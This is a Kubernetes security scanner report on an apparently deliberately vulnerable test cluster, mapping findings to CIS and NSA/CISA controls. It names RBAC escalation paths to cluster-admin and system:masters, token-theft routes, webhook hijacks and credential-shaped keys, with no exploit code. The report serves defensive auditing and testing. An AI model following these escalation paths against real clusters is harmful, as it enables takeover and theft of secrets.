  • HIGH KUBE-NETPOL-COVERAGE-001 Namespace vulnerable has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/flat-network/unmatched is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-002 Workload Deployment/netpol-imds/imds-open-app is in a policied namespace but no policy podSelector matches it
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace ingress-only controls ingress but has no Egress policy (one-way enforcement)
  • MEDIUM KUBE-NETPOL-COVERAGE-003 Namespace netpol-bridge controls ingress but has no Egress policy (one-way enforcement)
39 findings
5.1.2

Minimize access to secrets

28 high
28 findings
5.1.5

Ensure that default service accounts are not actively used

4 high 20 med
  • HIGH KUBE-PRIVESC-014 Namespace cloud-eks-test only create serviceaccounts/token enables token minting (ServiceAccount/cloud-eks-test/eks-token-minter)
  • HIGH KUBE-PRIVESC-014 Cluster-wide create serviceaccounts/token enables token minting (ServiceAccount/rbac-fixtures/sa-token-create)
  • HIGH KUBE-PRIVESC-014 Namespace foothold-fixtures only create serviceaccounts/token enables token minting (ServiceAccount/foothold-fixtures/foothold-minter)
  • HIGH KUBE-SECRETS-001 Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)
  • MEDIUM KUBE-SA-DEFAULT-002 Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/cloud-eks-test/imds-pivot-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-image runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-lifecycle runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-limits runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/containersec-fixtures/containersec-probes runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/api runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/flat-network/unmatched runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/hookbackend-fixtures/hookbackend-injector runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/ingress-only/ingress-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-allow-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/netpol-imds/imds-open-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/psa-suppressed/psa-priv-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/statusspoof-fixtures/statusspoof-api runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/generic-hostpath-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/host-ns-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/risky-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/root-runner runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Deployment/vulnerable/socket-mounts-app runs as the namespace default ServiceAccount
  • MEDIUM KUBE-SA-DEFAULT-001 Workload Job/gw-workloads/gw-batch runs as the namespace default ServiceAccount
24 findings
5.2.4

Minimize the admission of containers wishing to share the host network namespace

2 high
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/vulnerable/risky-app
2 findings
5.2.3

Minimize the admission of containers wishing to share the host IPC namespace

1 high
  • HIGH KUBE-ESCAPE-004 Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app
1 finding
5.5.1

Configure Image Provenance using ImagePolicyWebhook admission controller

1 high
  • HIGH KUBE-ADMISSION-001 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources
1 finding
5.7.2

Ensure that the seccomp profile is set to docker/default in your pod definitions

36 med
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-sign-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container api runs without a seccomp profile in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/foothold-fixtures/foothold-priv-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/foothold-fixtures/foothold-quiet-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/gw-workloads/gw-web
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/hookbackend-fixtures/hookbackend-injector
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/imgswap-fixtures/imgswap-reader-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container local-path-provisioner runs without a seccomp profile in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container pause runs without a seccomp profile in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/statusspoof-fixtures/statusspoof-api
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Deployment/vulnerable/socket-mounts-app
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container batch runs without a seccomp profile in Job/gw-workloads/gw-batch
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Pod/foothold-exec/foothold-decoy
  • MEDIUM KUBE-PODSEC-SECCOMP-001 Container app runs without a seccomp profile in Pod/foothold-exec/foothold-target
36 findings
5.7.3

Apply Security Context to Your Pods and Containers

36 med
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in DaemonSet/rbac-fixtures/daemon-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/imds-pivot-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/cloud-eks-test/irsa-admin-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-image
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-lifecycle
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-limits
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-probes
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/csr-fixtures/csr-mint-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/csr-fixtures/csr-sign-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container api has a writable root filesystem in Deployment/flat-network/api
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/flat-network/unmatched
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/foothold-fixtures/foothold-priv-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/foothold-fixtures/foothold-quiet-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/gw-workloads/gw-web
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/hookbackend-fixtures/hookbackend-injector
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/imgswap-fixtures/imgswap-reader-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/ingress-only/ingress-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container local-path-provisioner has a writable root filesystem in Deployment/local-path-storage/local-path-provisioner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-narrow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-orphan-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/lp-fixtures/lp-wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-allow-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/netpol-imds/imds-open-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/imp-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/rbac-fixtures/wildcard-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container pause has a writable root filesystem in Deployment/secrets-bundle/cross-ns-consumer
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/statusspoof-fixtures/statusspoof-api
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/generic-hostpath-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/host-ns-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/risky-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/root-runner
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Deployment/vulnerable/socket-mounts-app
  • MEDIUM KUBE-PODSEC-READONLY-001 Container batch has a writable root filesystem in Job/gw-workloads/gw-batch
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Pod/foothold-exec/foothold-decoy
  • MEDIUM KUBE-PODSEC-READONLY-001 Container app has a writable root filesystem in Pod/foothold-exec/foothold-target
36 findings
5.4.2

Consider external secret storage

2 med
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap secrets-bundle/app-credentials exposes credential-shaped keys (aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret) in plaintext
  • MEDIUM KUBE-CONFIGMAP-001 ConfigMap vulnerable/app-config exposes credential-shaped keys (api_token, db_password) in plaintext
2 findings
5.2.6

Minimize the admission of root containers

1 med
  • MEDIUM KUBE-PODSEC-ROOT-001 Container app runs as root (UID 0) in Deployment/vulnerable/root-runner
1 finding
NSA / CISA

NSA/CISA Kubernetes Hardening Guide v1.2

4 controls 474 findings 112 crit 239 high 120 med 3 low View framework →
Authorization

Role-based access control

88 crit 108 high 15 med
  • CRITICAL KUBE-PRIVESC-008 Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate
  • CRITICAL KUBE-PRIVESC-009 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/cutres/cutres-detour)
  • CRITICAL KUBE-PRIVESC-009 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/deepchain-tenant/deepchain-binder)
  • CRITICAL KUBE-PRIVESC-009 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-bind-escalate)
  • CRITICAL KUBE-PRIVESC-009 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-009 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-010 Namespace cutres only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/cutres/cutres-detour)
  • CRITICAL KUBE-PRIVESC-010 Namespace deepchain-tenant only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/deepchain-tenant/deepchain-binder)
  • CRITICAL KUBE-PRIVESC-010 Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-010 Namespace rbac-ns-fixtures only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate)
  • CRITICAL KUBE-PRIVESC-012 get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy)
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/cert-manager/cert-manager
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/cutres/cutres-detour
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/cutres/cutres-parallel
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/deepchain-tenant/deepchain-privileged
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/flux-system/kustomize-controller
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/foothold-exec/foothold-decoy-sa
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin
  • CRITICAL KUBE-PRIVESC-017 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-wildcard
  • CRITICAL KUBE-PRIVESC-020 Cluster-wide update/patch on apiservices lets ServiceAccount/hookbackend-fixtures/apisvc-installer re-route API groups to a server it controls
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/hookbackend-fixtures/hookbackend-operator can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-pod-create can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/cert-manager/cert-manager directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/cutres/cutres-detour directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/cutres/cutres-parallel directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/deepchain-tenant/deepchain-privileged directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/flux-system/kustomize-controller directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/foothold-exec/foothold-decoy-sa directly bound to cluster-admin
  • CRITICAL KUBE-RBAC-OVERBROAD-001 Non-system subject ServiceAccount/rbac-fixtures/sa-cluster-admin directly bound to cluster-admin
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/cert-manager/cert-manager holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/cutres/cutres-detour holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/cutres/cutres-parallel holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/deepchain-tenant/deepchain-privileged holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/flux-system/kustomize-controller holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-SA-PRIVILEGED-001 ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard holds wildcard verbs on wildcard resources (cluster-admin equivalent)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/cert-manager/cert-manager can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/cutres/cutres-detour can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/cutres/cutres-parallel can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/deepchain-tenant/deepchain-privileged can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/flux-system/kustomize-controller can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/foothold-exec/foothold-decoy-sa can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/hookbackend-fixtures/apisvc-installer can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-bind-escalate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-cluster-admin can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-impersonate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-wildcard can reach cluster-admin equivalent in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/csr-fixtures/sa-csr-mint can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-impersonate can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-008 Namespace cloud-eks-imp only impersonate permission on ServiceAccount/cloud-eks-imp/eks-impersonator
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/deepchain-tenant/deepchain-binder can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/nodeid-fixtures/nodeid-joiner can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-token-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/rbac-fixtures/sa-workload-mutate can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/vulnerable/privileged-reader can reach cluster-admin equivalent in 2 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/nodeid-fixtures/nodeid-joiner can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-secret-mint can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-ephemeral can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-pod-exec can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-pod-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-workload-mutate can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/vulnerable/privileged-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-workload-mutate can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-038 Control-plane backend hijack: ServiceAccount/vulnerable/privileged-reader can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-secret-mint can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-CLUSTER-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach cluster-admin equivalent in 3 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cloud-eks-test/eks-admin-irsa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cutres/cutres-doublebind can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/foothold-fixtures/foothold-priv can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/hookbackend-fixtures/hookbackend-operator can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/local-path-storage/local-path-provisioner-service-account can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/map-fixtures/sa-mutating-policy can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-pod-create-escape can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/psa-suppressed/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/psaflip-fixtures/psaflip-flipper can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-nodes-proxy can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/vulnerable/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cloud-eks-test/eks-token-minter can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • CRITICAL KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/foothold-ops/foothold-execer can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-001 Namespace local-path-storage only pod creation enables token theft and node takeover (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
  • HIGH KUBE-PRIVESC-001 Namespace privesc-fixtures only pod creation enables token theft and node takeover (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/rbac-fixtures/sa-pod-create)
  • HIGH KUBE-PRIVESC-001 Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/vulnerable/privileged-reader)
  • HIGH KUBE-PRIVESC-003 Cluster-wide workload-controller mutation can spawn privileged pods on ServiceAccount/rbac-fixtures/sa-workload-mutate
  • HIGH KUBE-PRIVESC-005 Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/gw-workloads/gw-powerful
  • HIGH KUBE-PRIVESC-005 Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/imgswap-fixtures/imgswap-reader
